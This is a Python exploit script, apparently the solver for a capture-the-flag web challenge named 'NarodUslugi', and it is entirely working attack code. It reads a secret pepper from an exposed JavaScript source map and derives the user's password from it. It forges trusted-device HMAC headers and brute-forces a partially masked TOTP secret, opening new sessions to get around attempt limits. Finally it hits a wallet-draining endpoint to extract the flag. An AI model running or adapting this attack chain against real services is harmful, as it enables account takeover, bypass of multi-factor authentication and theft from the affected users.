#!/usr/bin/env python3 import argparse import base64 import hashlib import hmac import http.cookiejar import json import re import ssl import struct import sys import time import urllib.error import urllib.parse import urllib.request BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" def read_target_file(path): url = None parta = None user = None try: with open(path, "r", encoding="utf-8") as fh: for raw in fh: line = raw.strip() if not line or line.startswith("#"): continue if "=" in line: key, value = line.split("=", 1) key = key.strip().lower() value = value.strip() if key in ("url", "target", "host"): url = value elif key in ("parta", "pwd_part_a", "pwda", "a"): parta = value elif key in ("user", "username", "narod_user"): user = value else: if url is None: url = line elif parta is None: parta = line elif user is None: user = line except FileNotFoundError: return None, None, None return url, parta, user def normalize_base(url): url = (url or "").strip() if not url: return "" if not re.match(r"^https?://", url, re.IGNORECASE): url = "http://" + url return url.rstrip("/") def make_opener(jar, insecure=False): handlers = [urllib.request.HTTPCookieProcessor(jar)] if insecure: ctx = ssl._create_unverified_context() handlers.append(urllib.request.HTTPSHandler(context=ctx)) return urllib.request.build_opener(*handlers) def http_request(opener, method, url, data=None, headers=None, timeout=10): headers = dict(headers or {}) body = None if data is not None: if isinstance(data, dict): body = urllib.parse.urlencode(data).encode("utf-8") headers.setdefault("Content-Type", "application/x-www-form-urlencoded") elif isinstance(data, (bytes, bytearray)): body = data else: body = str(data).encode("utf-8") req = urllib.request.Request(url, data=body, headers=headers, method=method) try: with opener.open(req, timeout=timeout) as resp: return resp.getcode(), resp.headers, resp.read() except urllib.error.HTTPError as exc: return exc.code, exc.headers, exc.read() def extract_username(html_text): m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE) return m.group(1) if m else None def extract_pepper_xor_hex(map_text): try: data = json.loads(map_text) except json.JSONDecodeError: return None for src in data.get("sourcesContent", []): m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src) if m: return m.group(1).lower() return None def derive_part_b(user, pepper_xor_hex): mask = hashlib.sha1(user.encode("utf-8")).digest()[:6] pepper_bytes = bytes.fromhex(pepper_xor_hex) out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes))) return out.decode("utf-8", errors="replace") def derive_pass(parta, partb): material = f"{parta}:{partb}".encode("utf-8") return hashlib.sha1(material).hexdigest()[:12] def trusted_headers(pass_hash): ts = str(int(time.time())) sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest() return {"X-TS": ts, "X-Trusted-Device": sig} def base32_decode(secret_b32): secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper()) pad = "=" * ((8 - (len(secret) % 8)) % 8) return base64.b32decode(secret + pad, casefold=True) def hotp(secret_bytes, counter): msg = struct.pack(">Q", counter) digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest() offset = digest[-1] & 0x0F code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF return f"{code % 1_000_000:06d}" def totp(secret_b32, timestamp, step=30): key = base32_decode(secret_b32) counter = int(timestamp // step) return hotp(key, counter) def fetch_server_offset(opener, base_url): status_url = base_url + "/__status__" code, _, body = http_request(opener, "GET", status_url) if code != 200: return 0.0 try: data = json.loads(body.decode("utf-8")) server_ms = float(data.get("now", 0)) if server_ms: return (server_ms / 1000.0) - time.time() except (ValueError, json.JSONDecodeError): pass return 0.0 def login(opener, base_url, user, password, trusted=False): headers = {} if trusted: headers.update(trusted_headers(password)) data = {"username": user, "password": password} return http_request(opener, "POST", base_url + "/login", data=data, headers=headers) def get_masked_secret(opener, base_url): headers = {"Referer": base_url + "/profile"} code, _, body = http_request( opener, "GET", base_url + "/profile/export?fmt=ini", headers=headers, ) if code != 200: return None text = body.decode("utf-8", errors="replace") m = re.search(r"otp_secret=([A-Z2-7?]+)", text) return m.group(1) if m else None def iter_candidates(masked_secret): if not masked_secret or not masked_secret.endswith("??"): return prefix = masked_secret[:-2].upper() for a in BASE32_ALPHABET: for b in BASE32_ALPHABET: yield prefix + a + b def mfa_attempt(opener, base_url, otp_code): code, _, body = http_request( opener, "POST", base_url + "/mfa", data={"otp": otp_code}, ) if code == 200 and b"/wallet" in body: return True return False def fetch_flag(opener, base_url): code, _, body = http_request(opener, "GET", base_url + "/wallet/drain") if code != 200: return None, None text = body.decode("utf-8", errors="replace") flag = None game_code = None m_flag = re.search(r"flag\{[^}]+\}", text) if m_flag: flag = m_flag.group(0) m_code = re.search(r"game_code:[a-z0-9_:-]+", text) if m_code: game_code = m_code.group(0) return flag, game_code def main(): parser = argparse.ArgumentParser(description="NarodUslugi solver") parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)") parser.add_argument("--url", help="Base URL, e.g. http://host:7000") parser.add_argument("--parta", help="PWD_PART_A value") parser.add_argument("--user", help="Override username") parser.add_argument("--insecure", action="store_true", help="Disable TLS verification") parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session") args = parser.parse_args() file_url, file_parta, file_user = read_target_file(args.target_file) base_url = normalize_base(args.url or file_url) parta = args.parta or file_parta user = args.user or file_user if not base_url: print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr) sys.exit(1) jar = http.cookiejar.CookieJar() opener = make_opener(jar, insecure=args.insecure) code, _, body = http_request(opener, "GET", base_url + "/") if code != 200: print(f"Failed to load login page: {code}", file=sys.stderr) sys.exit(1) html = body.decode("utf-8", errors="replace") if not user: user = extract_username(html) if not user: print("Failed to detect username; pass --user or add to target file.", file=sys.stderr) sys.exit(1) code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map") if code != 200: print(f"Failed to fetch sourcemap: {code}", file=sys.stderr) sys.exit(1) pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace")) if not pepper_xor_hex: print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr) sys.exit(1) partb = derive_part_b(user, pepper_xor_hex) if not parta: print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr) sys.exit(1) password = derive_pass(parta, partb) # Trusted login to get masked OTP secret. trusted_jar = http.cookiejar.CookieJar() trusted_opener = make_opener(trusted_jar, insecure=args.insecure) code, _, _ = login(trusted_opener, base_url, user, password, trusted=True) if code == 429: print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr) sys.exit(1) if code != 200: print(f"Trusted-device login failed: {code}", file=sys.stderr) sys.exit(1) masked_secret = get_masked_secret(trusted_opener, base_url) if not masked_secret: print("Failed to retrieve masked OTP secret.", file=sys.stderr) sys.exit(1) offset = fetch_server_offset(opener, base_url) attempts = 0 session_opener = None for candidate in iter_candidates(masked_secret): if session_opener is None or attempts >= args.max_per_session: session_jar = http.cookiejar.CookieJar() session_opener = make_opener(session_jar, insecure=args.insecure) code, _, _ = login(session_opener, base_url, user, password, trusted=False) if code != 200: print(f"Login failed during brute-force: {code}", file=sys.stderr) sys.exit(1) attempts = 0 now = time.time() + offset otp = totp(candidate, now) if mfa_attempt(session_opener, base_url, otp): flag, game_code = fetch_flag(session_opener, base_url) print(f"user={user}") print(f"pass={password}") print(f"otp_secret={candidate}") if flag: print(flag) if game_code: print(game_code) return attempts += 1 print("OTP secret not found in search space.", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main()